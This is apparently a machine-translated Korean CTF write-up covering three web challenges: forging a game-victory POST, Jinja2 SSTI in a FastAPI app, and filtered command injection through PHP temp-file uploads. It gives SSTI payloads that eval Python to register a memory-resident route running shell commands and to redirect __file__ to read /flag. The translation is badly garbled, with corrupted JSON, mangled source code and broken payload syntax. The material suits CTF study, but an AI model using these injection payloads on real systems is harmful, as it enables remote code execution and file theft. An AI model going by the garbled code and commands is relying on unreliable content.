KoreanHackerTeam
Moderator
WEB
EncirclingGame
질문 설명 : 간단한 게임, 그것을 즐기고 깃발을 완성 할 때 깃발을 얻으십시오. 주제를 시작하는 프론트 엔드 미니 게임, 그냥 빨간 도트

연주하지 않고 깃발을 얻을 수있는 방법을 봅시다. 플래그는 백엔드 PHP 파일에 저장되며 프론트 엔드에서 찾을 수 없습니다. 빨간색 점의 마지막 위치와 방화벽의 위치 (검은 점)를 기록하는 게임의 요청 패키지를 살펴보십시오.

방화벽은 원으로 둘러싸여 있지만 빨간색 점은 중간에 있습니다. 라우팅 : /verifyvictory.php
방법 : post { 'gamestate': {'virusposition': { 'x':5,'y':5}, 'firewalls': [{'x': 0, 'y': 0}, {'x'3360 1, 'y'33300 0}, { 'x': 2,'y': 0}, { 'x': 3,'y': 0}, { 'x': 4,'y': 0}, { 'x': 5,'y': 0}, { 'x'': 6 6,'y':0. 0}, { 'x': 7,'y': 0}, { 'x': 8,'y': 0}, { 'x': 9,'y': 0}, { 'x': 10,'y': 0} 'y': 10}, {'x': 1, 'y': 10}, {'x': 2, 'y': 10}, {'x': 3, 'y': 10}, {'x': 4, 'y'3360 10}, {'x': 4, 'y': 10}, {'x': 4, ' 5, 'y': 10}, {'x': 6, 'y': 10}, {'x': 7, 'y': 10}, {'x': 8, 'y': 10}, {'x'3360 9, 'y': 10}, { 'x': 10,'y': 10}, { 'x': 0,'y': 3}, { 'x': 0,'y': 4}, { 'x': 0,'y': 5}, { 'x'': 0,'y': 6}, { 'x': 0,'y': 7}, { 'x': 0,'y': 8}, { 'x': 0,'y': 9}, { 'x': 10,'y': 1} 'y': 2}, {'x': 10, 'y': 3}, {'x': 10, 'y': 4}, {'x': 10, 'y': 5}, {'x': 10, 'y': 6 6} 10, 'y': 7}, {'x': 10, 'y': 8}, {'x': 10, 'y': 9}]},'token':'Game-lab-token '}

GoldenHornKing
-1 프로젝트 시작, 나는 소스 코드
수입 운영 체제 관련 모듈 가져 오기 Jinja2 # import jinja2 # import jinja2 템플릿 엔진 모듈 가져 오기 untimctools # 고급 기능 제공 uvicorn # import uvicorn, fastapi # fastapi에서 ASGI 애플리케이션을 실행하는 데 사용되었습니다. FastAPI Library에서 Asgipi Class에서 Asgi Applications에서 Asgi Applications에서 ASGI Applications를 실행하는 데 사용됩니다. jinja2template aide import 실패 _after, 수면 # import fail_after에서 시간 초과를 설정하고 비동기식 수면을 위해 수면
# 사용 된 라이브러리의 버전을 지정합니다.
def timeout_after (timeout: int=1) : # 시간 초과 장식기 정의, 기본 시간 초 실패 _after (timeout) : # 지정된 시간 초과 반환 대기 시간 내에 데코레이터 함수를 실행합니다.
반환 데코레이터 # 반환 데코레이터 기능
app=fastapi () # FastApi 응용 프로그램 인스턴스 액세스 생성=false # 액세스 권한을 제어하기 위해 글로벌 변수를 정의합니다.
_base_path=os.path.dirname (os.path.abspath (__ file__)) # 현재 파일의 절대 경로를 가져 와서 디렉토리 경로를 추출합니다. t=jinja2templates (directory=_base_path) # jinja2templates 인스턴스 생성 및 템플릿 파일의 디렉토리를 지정합니다.
@app.get ( '/') # 루트 경로를 처리하는 경로를 정의하는 경로 @timeout_after (1) # 시간 초과를 사용하여 시간 초과를 1 초의 비동기 Def def index () : # 비동기 처리 함수를 1 초로 설정하십시오.
@app.get ( ' /calc') # /calc path @timeout_after (1)를 처리하는 요청에 대한 경로를 정의하십시오. # 타임 아웃 데코레이터를 사용하여 타임 아웃을 1 초 아시아 DEF SSTI (calc_req: str)로 설정하십시오. (calc_req의 char에 대한 char.isdigit ()) 또는 (calc_req의 char \ ') 또는 calc_req.isascii () 또는 access: # comp_req가 숫자 문자를 포함하는지, 또는'%'를 포함하는지, 또는 액세스가 ASCII 문자인지, 또는 Access가 모두'나쁜 char ' #이라면, 위의 목소리가 나오는 경우, rack' # ' jinja2.environment (loader=jinja2.baseloader ()). from_string (f '{{{{{{{{calc_req}}}}'). 추가 액세스 반품 '싸움' # 반품 '싸움'제한
__name__=='__main __': # 주 프로그램 입구 Uvicorn.run (app, host='0.0.0.0', port=8000) # uvicorn을 사용하여 응용 프로그램을 실행하고 모든 네트워크 인터페이스 포트를 듣는 경우 port 8000은 jinja2 ssti입니다. 한계는 숫자 문자 또는 문자 '%'또는 모든 ASCII 문자를 포함 할 수 없거나 액세스가 사실이라는 것입니다. 동시에 액세스가 사실이면 다시 입력 할 수 없으므로 환경을 다시 시작해야합니다 (NSS Round20 ITSS Round20 나는 질문이 생성 된 저장소에서 메모리를 검색했습니다. 메소드 1 : #directly Access /Shell Routing app.ADD_URL_RULE ( ' /flag', lambda:__import __ ( ''). /flag '). read ())는 stipayload로 변환해야합니다 {{config .__ class __.__ init __.__ globals __ [ '__ buildins __']. eval ( '__ import __ ('sys '). 모듈 ['__ main __ '] .__ dict __ ['app ']. add_api_route ('/flage ', lambda:___import __') /flag').read())}}} payload : /calc?calc_req=config.__class__.__ init__.__globals__;'__builtins__ '].eval ('__ import__('sys').m odules [ '__ main __'] .__ dict __ [ 'app']. add_api_route ( '/flag', lambda:__import __ ( 'os'). Popen ( 'cat /flag '). read ())')


Fastapi Memory Horse를 재생하면 Fastapi 클래스에는 add_api_route 메소드가 있습니다. 이 방법을 통해 경로를 추가하고 RCE를 수행 할 수 있습니다.
app.add_api_route ( '/shell', lambda: __ import __ ( 'os'). Popen ( 'whoami'). read ()) 우리는 app를 다시 평가해야합니다.
__import __ ( 'sys'). 모듈 [ '__ main __'] .__ dict __ [ 'app']
SYS.MODULES : SYS 모듈에는 모듈이라는 사전이있어 모든 가져 오기 모듈의 현재 상태를 유지합니다. 이 사전의 키는 모듈의 이름이며 값은 해당 모듈 객체입니다. 모듈 [ '__ main__'] : __main__는 실행 환경을 통해 실행되는 명령 줄이나 코드에서 직접 실행되는 스크립트이든 Python 프로그램을 실행하는 주요 모듈입니다. sys.modules [ '__ main__']를 통해 현재 실행중인 프로그램의 기본 모듈 객체를 얻습니다. __dict__ : 각 모듈 객체에는 __dict__ 속성이 있으며,이 속성은 모듈에 정의 된 모든 글로벌 변수와 함수를 포함하는 사전입니다. [ 'app'] : 마지막으로 모듈의 __dict__에서 앱이라는 객체를 가져옵니다. 그런 다음 다음 페이로드를 통합합니다.
app .__ init __.__ globals __.__ buildins __. eval ( '__ import __ ('sys '). 모듈 ['__ main __ '] .__ dict __ ['app ']. add_api_route (' /shell ', lambda :__import __ ('OS ').
이제 깃발을 얻으려면 /쉘을 방문하십시오
방법 3 : 모든 파일 읽기에 대해 __file__를 수정하십시오. p
@app.get ( '/')@timeout_after (1) Async def index () : return open (__ file __). read ()
현재 코드 파일 컨텐츠는 웹 페이지로 읽고 출력됩니다. 그런 다음 __file__로 /플래그를 수정하면 루트 경로에 액세스하면 플래그가 발생할 수 있습니다.
__file__는 글로벌 변수 글로벌에 있습니다
setattr (__ import __ ( 'sys'). 모듈 [ '__ main __'], '__ file __', '/flag')는 setattr (Object, Name, Value) 메소드를 사용하여 객체의 속성 값을 수정합니다.
객체 - 물체. 이름 - 문자열, 객체 속성. 값 - 속성 값.
Q : __import __ ( 'sys')를 사용하지 않는 이유는 무엇입니까? 모듈 [ '__ main __'] .__ dict_, __file__는 분명히 여기에 있습니까?
A : statttr 함수의 첫 번째 값은 객체이기 때문에 __dict__는 객체가 아닌 __main__의 속성입니다.
페이로드 통합 :
app .__ init __.__ globals __.__ buildins __. eval ( 'statattr (__ import __ ('sys '). 모듈 ['__ main __ '],'__ file __ ','/flag ')
admin_Test
질문 설명 : 시스템 내부에서는 시스템을 더 잘 관리 할 수 있으며 해커의 공격을 더 잘 관리 할 수 있습니다. 시스템의 플래그 파일을 읽으십시오. 이 프로젝트는 로그인 상자, 등록 옵션 없음
민감한 디렉토리를 스캔 :/admin.html/upload.php/admin.html Route 파일 업로드 기능과 명령 입력 상자

업로드 할 때는 잘못된 숯이 항상 표시됩니다. 여러 패킷을 시도한 후 업로드 된 명령 문자열이 제한되어 있어야하며 단일 문자의 필터링 일 가능성이 높습니다. 질문에 단일 문자를 실행하십시오. /, 임시 파일을 한눈에 실행합니다. /티*/*
영숫자 RCE에 대한 참조 (CTFSHOW 웹 소개 56) _RCE-CSDN 블로그 모든 문자와 번호를 필터링합니다.
t, /,

동시에 파일 부분을 업로드 할 수 없습니다. 나는 아마도 화이트리스트 캐릭터, ctfshow 영원한 신을 보는 것에 대한 단서가있을 것입니다! PHP에서 파일이 강제로 업로드되면 파일은 임시 파일 /TMP /PHP에 있습니다.